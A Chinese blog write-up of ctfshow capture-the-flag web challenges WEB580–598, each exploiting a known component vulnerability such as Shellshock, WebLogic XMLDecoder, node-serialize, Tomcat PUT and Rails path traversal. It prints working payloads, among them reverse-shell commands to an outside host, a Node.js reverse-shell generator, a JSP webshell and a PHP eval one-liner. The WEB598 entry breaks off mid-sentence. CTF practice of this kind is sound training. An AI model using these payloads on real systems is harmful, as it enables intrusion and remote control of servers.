【ctfshow】web入门-组件漏洞

WEB580–WEB599

WEB580

根据题目所给的提示“破壳”,那么应该是Shellshock 破壳漏洞(CVE-2014-6271)
这一题试了很多种payload,除了能看/etc/passwd,其他都没有回显或返回500,无奈只能反弹shell(还是太菜了)
payload:
() { :; }; /bin/bash -i >& /dev/tcp/cn1.utools.club/37634 0>&1;
发送如下数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /cgi-bin/index.cgi HTTP/1.1
Host: 7f35523e-4939-43d8-8a05-f6348618a843.challenge.ctf.show:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
lewiserii: () { :; }; /bin/bash -i >& /dev/tcp/cn1.utools.club/37634 0>&1;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://7f35523e-4939-43d8-8a05-f6348618a843.challenge.ctf.show:8080/cgi-bin/victim.cgi
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=179eb628608d03-066c8283766a21-f7f1939-1bcab9-179eb62860986d
Connection: close

拿到shell

WEB581

具体可以参考CVE-2017-6920
payload:

1
content=!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"<?php eval($_POST[1]);?>";}

只要带上!php/object 后面就会进行反序列化
写入文件后访问

WEB582

nodejsshell.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import sys

if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)



print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

通过nodejsshell.py生成payload

放入{"username":"_$$ND_FUNC$$_function (){生成的payload}()","password":123},然后base64编码加url编码
bp抓包,构造一个user并传入payload

成功反弹shell

WEB583

CVE-2016-10033
在github上找到了exp
直接打就行了

但是这里有个地方要注意
现在(6.17)github上的exp是打不通的
我把这个和以前在github上下的版本用beyond比对了一下
! 竟然不一样,如果你用官网的打不通可以试试我这个版本,提取码是f3rw

WEB584

生成数字exp(将echo后的内容替换成你自己的反弹一句话)

1
2
3
payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9jbjEudXRvb2xzLmNsdWIvNDUyMTQgMD4mMQ==}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

payload

1
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{生成的数字}))/lastname", "value": "ctfshow" }]

首先post /api/people新建一个用户,获取到id

然后通过PATCH /api/people/1,可以rce反弹shell
注意Content-Type的格式


WEB585

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
直接抓包传即可,但是要注意tomcat对文件后缀有一定验证,(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过限制。

拿到shell

jsp小马(pwd=023)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c)
{
StringBuilder line = new StringBuilder();
try
{
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null)
{
line.append(temp+"\\n");
}
buf.close();
}
catch (Exception e)
{
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
out.println(":-)");
}
%>

WEB586

wordpress环境,首先尝试弱口令,进不去,只好创建一个用户进行测试
发现里面有一篇文章介绍了这个插件漏洞
使用百度,发现对于下面这个地址的id参数(post)存在sql注入,因为没有过滤直接带入了sql语句,所以造成了sql注入
IP/wp-admin/admin-ajax.php?action=populate_download_edit_form

我用sqlmap跑出来了,也可以手注(使用load_file读文件)

WEB587

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
漏洞使用了XMLDecoder来解析用户传入的XML数据,但在在解析的过程中出现反序列化漏洞,导致可执行任意命令。

发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):


POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: e40b731a-4abf-4e0b-acaf-c03997996db7.challenge.ctf.show:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e40b731a-4abf-4e0b-acaf-c03997996db7.challenge.ctf.show:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=179eb628608d03-066c8283766a21-f7f1939-1bcab9-179eb62860986d
Connection: close
Content-Type: text/xml
Content-Length: 641

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/cn1.utools.club/45214 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

WEB588

吐槽一下:这一题的环境生成的好慢,我还以为环境坏了

Weblogic 任意文件上传漏洞(CVE-2018-2894)
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

访问IP/ws_utc/config.do,如果进入时不是设置页面而是登陆页面可以刷新一下多试几次

设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

然后点击安全 -> 增加,然后上传webshell并找到这个文件的时间戳(可以抓包或F12查看):

然后访问IP/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell(flag在环境变量里):

WEB589

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

首先访问IP/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径(账号密码为admin弱口令):

然后PUT方法上传webshell:
上传成功后可以访问看一下,发现代码直接显示了,那么就表示没有解析,需要换个目录

使用MOVE方法移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

WEB590

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

使用Apereo-CAS-Attack来生成POC

然后我们登录CAS并抓包,将Body中的execution值替换成上面生成的Payload发送

WEB591

591后面都是福利题了,嘿嘿
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A)

访问刚才上传的/1.php%0a,发现能够成功解析

WEB592

Apache HTTPD 多后缀解析漏洞

上传的文件中只要包含.php都能被解析

WEB593

Apache SSI 远程命令执行漏洞
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

上传一个shtml文件

访问生成的文件

WEB594

Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
EXP
运行exp还需要php,python3,linux环境,下载phpggc放在同一级目录下
使用时只需要修改exp中的URL和命令即可

WEB595

原型为PHP官方GIT服务器近日被植入的后门。
首先,后门程序会检测http头是否含有User-Agentt(不是User-Agent,多了一个t)。
如果存在,判断它的值是否含有zerodium字符串,作为触发后门的“口令”。
如果标示存在,从User-Agentt值的第8个字节起到结尾提取字符串作为代码(前8个字符为zerodium),进行编译执行,如同eval函数效果。
抓包改报文即可执行命令:
User-Agentt: zerodiumsystem(‘ls /‘);

WEB596

Python PIL 远程命令执行漏洞(GhostButt )
Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。

可以看到有一个上传页面。正常功能是我们上传一个PNG文件,后端调用PIL加载图片,输出长宽。但我们可以将可执行命令EPS文件后缀改成PNG进行上传,因为后端是根据文件头来判断图片类型,所以无视后缀检查。

比如poc.png,我们上传之,即可执行touch /tmp/aaaaa。将POC中的命令改为反弹命令(bash -c “bash -i >& /dev/tcp/ip/port 0>&1”),即可获得shell:

WEB597

Ruby On Rails 路径穿越漏洞(CVE-2018-3760)
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。

Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。

直接访问IP/assets/file:%2f%2f/etc/passwd,将会报错,因为文件/etc/passwd不在允许的目录中:

在上方的报错中随意选择一个路径利用../返回上一级,成功实现任意文件读取

WEB598

Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

在控制器中通过render file形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd


【ctfshow】web入门-组件漏洞
https://www.dr0n.top/posts/605e5ac9/
作者
dr0n
发布于
2021年6月18日
更新于
2024年3月21日
许可协议